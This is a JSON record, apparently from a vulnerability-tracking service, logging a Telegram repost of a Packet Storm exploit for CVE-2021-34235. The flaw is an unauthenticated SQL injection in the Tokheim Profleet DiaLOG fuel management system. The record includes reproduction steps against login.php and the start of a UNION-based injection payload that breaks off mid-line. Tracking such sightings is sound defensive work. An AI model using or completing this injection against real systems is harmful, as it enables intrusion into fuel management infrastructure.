{"uuid": "23c1d913-43d2-4888-a935-98ef25d8f248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34235", "type": "seen", "source": "https://t.me/hacking_Attack/42379", "content": "Exploit Collector\nTokheim Profleet DiaLOG Fuel Management System 11.005.02 SQL Injection / Code Execution\n\nhttps://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png \nTokheim Profleet DiaLOG Fuel Management System version 11.005.02 suffers from a remote SQL injection vulnerability that can allow for remote code execution.\n\nMD5 | 223db005326f0bf40278c50e39231349\n\nDownload\n# Exploit Title: Tokheim Profleet DiaLOG Fuel Management System 11.005.02 - SQLi (Unauthenticated)\n# Date: 02/9/2022\n# Exploit Author: golem445\n# Vendor Homepage: https://www.tsg-solutions.com\n# Tested on: Kali Linux\n# CVE: CVE-2021-34235\n# Description: Field__UserLogin parameter is vulnerable to crafted MySQL injection, resulting in remote code execution as root.\n\n==Steps to Reproduce==\n# Go to : http://dialog_host/login.php\n# Enter escaped MySQL query into the username field and submit, passwords doesn't matter. (Such as: ' /*!50000union*/ select 1,2,3,4,5,6,7,8,\u2019data://text/plain,\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:56.296789Z"}